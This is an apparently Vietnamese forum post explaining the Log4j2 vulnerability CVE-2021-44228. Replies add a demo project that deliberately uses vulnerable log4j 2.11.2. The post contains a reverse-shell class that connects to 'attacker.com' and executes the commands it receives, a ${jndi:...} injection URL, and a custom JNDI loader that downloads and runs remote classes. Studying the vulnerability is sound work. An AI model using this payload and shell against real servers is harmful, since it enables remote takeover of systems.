Avatar
2
monkey Enlightened
monkey Enlightened
Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228)
Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228)

Để hiểu rõ hơn chúng ta phải hiểu về log4j một chút. Log4j sử dụng chain of responsibility design pattern, thế nên ở bên trong nó sẽ có các Appender. Khi một dòng log kiểu logger.info("Hello: {}", param) thì đoạn log này sẽ chạy qua tất cả các appender thể thực hiện các công việc tương ứng, ví dụ in ra màn hình, ghi vào file, và trong đó có 1 lớp tên là: RoutingAppender. Lớp này sẽ gọi đến hàm StrSubstitutor.resolveVariable. Hàm này sẽ đi lấy giá trị của biến, và đau lòng thay, nó gọi lại đến lớp Interpolator.

Lớp Interpolator sẽ tìm kiếm qua nhiều giao thức, trong đó có giao thức JNDI để lấy ra giá trị của biến, và thế là bùm. Kẻ tấn công sẽ tạo ra 1 lớp thế này:

public class Log4jShell {
    static {
        try {
            Socket socket = new Socket("attacker.com", 1234);
            Scanner scanner = new Scanner(socket.getInputStream());
            while(true) {
                String command = scanner.nextLine();
                ProcessBuilder pb = new ProcessBuilder(command);
                pb.start();
            }
        } catch (Exception e) {}
    }
}

Và hắn thông quan tham số name truyền lên server kiểu: https://web_site_cua_chung_ta/hello?name=${jndi://web_site_cua_ke_tan_cong.com/Log4jShell.class}, và cùng với câu lệnh logger ở trên. Lớp Interpolator sẽ lấy giá trị của biến bằng cách lấy lớp Log4jShell.class về, và thế là toang, kẻ tấn công sẽ có hẳn 1 cái terminal xịn sò trên server của chúng ta và muốn làm gì thì làm.

Nhược điểm của lỗ hổng lần này là nó làm cho cả thế giới tán loạn. Phải đi release lại toàn bộ các sản phẩm đang dùng 2.0 <= log4j-core <= 2.14.1.

Còn ưu điểm là nó cũng cho thấy được Java nó phổ biến và được sử dụng rộng rãi đến mức nào. Thế nên anh em cứ tự tin khi lựa chọn Java để làm ngôn ngữ lập trình backend cho mình và cho tổ chức của mình nhé.

Tham khảo thêm nếu anh em cần nhé: https://www.lunasec.io/docs/blog/log4j-zero-day/#how-you-can-prevent-future-attacks

  • Answer
security log4j-core
Remain: 5
3 Answers
Avatar
monkey Enlightened
monkey Enlightened
Demo không sử dụng qua LDAP:

package com.example.log4jshell;

import javax.naming.Context;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import com.tvd12.ezyhttp.core.boot.EzyHttpApplicationBootstrap;

public final class Log4jShellStartup {

    private static final Logger LOGGER = LogManager.getLogger(Log4jShellStartup.class);

    public static void main(String[] args) throws Exception {
        LOGGER.info("start Log4jShell");
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.example.log4jshell.AppContextFactory");
        System.setProperty(Context.PROVIDER_URL, "remote+http://localhost:8080");
        EzyHttpApplicationBootstrap.start(Log4jShellStartup.class);
    }
}

package com.example.log4jshell;

import java.util.Hashtable;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.spi.InitialContextFactory;

public class AppContextFactory implements InitialContextFactory {

    private final AppInitialContext context = new AppInitialContext();

    public AppContextFactory() throws NamingException {}

    @Override
    public Context getInitialContext(Hashtable environment) throws NamingException {
        return context;
    }
}

package com.example.log4jshell;

import java.io.File;
import java.util.Hashtable;

import javax.naming.NamingException;
import javax.naming.ldap.InitialLdapContext;

import com.tvd12.ezyhttp.client.HttpClient;

public class AppInitialContext extends InitialLdapContext {

    private final HttpClient httpClient;

    public AppInitialContext() throws NamingException {
        httpClient = HttpClient.builder().build();
    }
    @Override
    protected void init(Hashtable environment) throws NamingException { }

    @Override
    public Object lookup(String name) throws NamingException {
        try {
            httpClient.download(name, new File("target/classes"));
            Thread.sleep(300);
            Class clazz = Class.forName("Log4jShell");
            return clazz.newInstance();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}

package com.example.log4jshell.controller;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import com.tvd12.ezyhttp.server.core.annotation.Controller;
import com.tvd12.ezyhttp.server.core.annotation.DoGet;
import com.tvd12.ezyhttp.server.core.annotation.RequestParam;

@Controller
public class HomeController {

    private final Logger logger = LogManager.getLogger(getClass());

    @DoGet("/hello")
    public String hello(@RequestParam String name) {
        logger.info("Hello: {}", name);
        return "Hello " + name;
    }
}
  • 0
  • Reply
Avatar
monkey Enlightened
monkey Enlightened
Demo không sử dụng qua LDAP (tiếp):

import java.net.Socket;
import java.util.Scanner;

public class Log4jShell {
    static {
        try {
            System.out.println("Shell started");
            Socket socket = new Socket("localhost", 3006);
            Scanner scanner = new Scanner(socket.getInputStream());
            while(true) {
                String command = scanner.nextLine();
                ProcessBuilder pb = new ProcessBuilder(command);
                pb.start();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Chạy lệnh javac Log4jShell.java để tạo ra file Log4jShell.class

  • 0
  • Reply
Avatar
monkey Enlightened
monkey Enlightened
Demo không sử dụng qua LDAP (tiếp):

Cấu trúc thư mục dự án sẽ kiểu:

File application.properties:

resources.enable=true

File log4j2.xml:

<span><span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"UTF-8"</span><span>?></span></span>
<span><<span>Configuration</span> <span>status</span>=<span>"INFO"</span>></span>
  <span><<span>Appenders</span>></span>
    <span><<span>Console</span> <span>name</span>=<span>"LogToConsole"</span> <span>target</span>=<span>"SYSTEM_OUT"</span>></span>
      <span><<span>PatternLayout</span> <span>pattern</span>=<span>"%d</span></span></span><span>{HH:mm:ss.SSS}</span><span><span><span> [%t] %-5level %logger</span></span></span><span>{36}</span><span><span><span> - %msg%n"</span>/></span>
    <span></<span>Console</span>></span>
  <span></<span>Appenders</span>></span>
  <span><<span>Loggers</span>></span>
    <span><<span>Logger</span> <span>name</span>=<span>"com.example"</span> <span>level</span>=<span>"debug"</span> <span>additivity</span>=<span>"false"</span>></span>
      <span><<span>AppenderRef</span> <span>ref</span>=<span>"LogToConsole"</span>/></span>
    <span></<span>Logger</span>></span>
    <span><<span>Root</span> <span>level</span>=<span>"info"</span>></span>
      <span><<span>AppenderRef</span> <span>ref</span>=<span>"LogToConsole"</span>/></span>
    <span></<span>Root</span>></span>
  <span></<span>Loggers</span>></span>
<span></<span>Configuration</span>></span></span>

File pom.xml

<span><span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"UTF-8"</span><span>?></span></span>
<span><<span>project</span> <span>xmlns</span>=<span>"http://maven.apache.org/POM/4.0.0"</span>
         <span>xmlns:xsi</span>=<span>"http://www.w3.org/2001/XMLSchema-instance"</span>
         <span>xsi:schemaLocation</span>=<span>"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"</span>></span>
  <span><<span>parent</span>></span>
    <span><<span>groupId</span>></span>com.tvd12<span></<span>groupId</span>></span>
    <span><<span>artifactId</span>></span>ezyfox<span></<span>artifactId</span>></span>
    <span><<span>version</span>></span>1.0.2<span></<span>version</span>></span>
  <span></<span>parent</span>></span>
  <span><<span>modelVersion</span>></span>4.0.0<span></<span>modelVersion</span>></span>
  <span><<span>artifactId</span>></span>log4jshell<span></<span>artifactId</span>></span>

  <span><<span>properties</span>></span>
    <span><<span>log4j2.version</span>></span>2.11.2<span></<span>log4j2.version</span>></span>
    <span><<span>ezy.http.version</span>></span>0.2.0<span></<span>ezy.http.version</span>></span>
  <span></<span>properties</span>></span>

  <span><<span>dependencies</span>></span>
    <span><<span>dependency</span>></span>
      <span><<span>groupId</span>></span>com.tvd12<span></<span>groupId</span>></span>
      <span><<span>artifactId</span>></span>ezyhttp-server-boot<span></<span>artifactId</span>></span>
      <span><<span>version</span>></span>$</span><span>{ezy.http.version}</span><span><span></<span>version</span>></span>
    <span></<span>dependency</span>></span>
    <span><<span>dependency</span>></span>
      <span><<span>groupId</span>></span>com.tvd12<span></<span>groupId</span>></span>
      <span><<span>artifactId</span>></span>ezyhttp-client<span></<span>artifactId</span>></span>
      <span><<span>version</span>></span>$</span><span>{ezy.http.version}</span><span><span></<span>version</span>></span>
    <span></<span>dependency</span>></span>
    <span><<span>dependency</span>></span>
      <span><<span>groupId</span>></span>org.apache.logging.log4j<span></<span>groupId</span>></span>
      <span><<span>artifactId</span>></span>log4j-api<span></<span>artifactId</span>></span>
      <span><<span>version</span>></span>$</span><span>{log4j2.version}</span><span><span></<span>version</span>></span>
    <span></<span>dependency</span>></span>
    <span><<span>dependency</span>></span>
      <span><<span>groupId</span>></span>org.apache.logging.log4j<span></<span>groupId</span>></span>
      <span><<span>artifactId</span>></span>log4j-core<span></<span>artifactId</span>></span>
      <span><<span>version</span>></span>$</span><span>{log4j2.version}</span><span><span></<span>version</span>></span>
    <span></<span>dependency</span>></span>
  <span></<span>dependencies</span>></span>
<span></<span>project</span>></span></span>
  • 0
  • Reply